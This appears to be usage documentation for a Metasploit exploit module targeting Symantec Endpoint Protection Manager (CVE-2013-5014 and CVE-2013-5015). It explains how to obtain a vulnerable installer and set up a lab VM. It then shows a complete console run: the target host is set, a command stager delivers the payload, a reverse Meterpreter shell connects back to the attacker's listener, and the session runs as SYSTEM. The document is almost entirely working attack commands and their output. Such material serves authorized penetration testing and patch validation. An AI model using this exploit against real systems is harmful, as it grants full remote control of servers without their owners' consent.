Symantec endpoint protection rce

This is the exploit for Symantec Endpoint Protection Manager 11.0, 12.0 and 12.1. Also known under CVE-2013-5014 and CVE-2013-5015.

Test environment:
- Installed on a Windows 7 Pro 64-bit VM.

Register/Login for a trial on https://www4.symantec.com/Vrt/offer?a_id=117524
Then when the download starts, change the download url to http://esdownload.symantec.com/akdlm/CD/MTV/Symantec_Endpoint_Protection_12.1.3_SEPM_EN.exe instead to download the older version.
Keep everything default during the installation.


msf > use exploit/windows/http/symantec_endpoint_manager_rce
msf exploit(symantec_endpoint_manager_rce) > set RHOST 172.16.117.214
RHOST => 172.16.117.214
msf exploit(symantec_endpoint_manager_rce) > exploit

[*] Started reverse handler on 172.16.117.1:4444
[*] 172.16.117.214:9090 - Sending payload
[*] Command Stager progress -   3.90% done (3949/101355 bytes)
[*] Command Stager progress -   7.79% done (7898/101355 bytes)
[*] Command Stager progress -  11.69% done (11847/101355 bytes)
[*] Command Stager progress -  15.58% done (15796/101355 bytes)
[*] Command Stager progress -  19.48% done (19745/101355 bytes)
[*] Command Stager progress -  23.38% done (23694/101355 bytes)
[*] Command Stager progress -  27.27% done (27643/101355 bytes)
[*] Command Stager progress -  31.17% done (31592/101355 bytes)
[*] Command Stager progress -  35.07% done (35541/101355 bytes)
[*] Command Stager progress -  38.96% done (39490/101355 bytes)
[*] Command Stager progress -  42.86% done (43439/101355 bytes)
[*] Command Stager progress -  46.75% done (47388/101355 bytes)
[*] Command Stager progress -  50.65% done (51337/101355 bytes)
[*] Command Stager progress -  54.55% done (55286/101355 bytes)
[*] Command Stager progress -  58.44% done (59235/101355 bytes)
[*] Command Stager progress -  62.34% done (63184/101355 bytes)
[*] Command Stager progress -  66.24% done (67133/101355 bytes)
[*] Command Stager progress -  70.13% done (71082/101355 bytes)
[*] Command Stager progress -  74.03% done (75031/101355 bytes)
[*] Command Stager progress -  77.92% done (78980/101355 bytes)
[*] Command Stager progress -  81.82% done (82929/101355 bytes)
[*] Command Stager progress -  85.72% done (86878/101355 bytes)
[*] Command Stager progress -  89.61% done (90827/101355 bytes)
[*] Command Stager progress -  93.51% done (94776/101355 bytes)
[*] Command Stager progress -  97.41% done (98725/101355 bytes)
[*] Sending stage (769024 bytes) to 172.16.117.214
[*] Command Stager progress - 100.00% done (101355/101355 bytes)
[*] Meterpreter session 1 opened (172.16.117.1:4444 -> 172.16.117.214:53346) at 2014-02-24 14:54:37 +0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM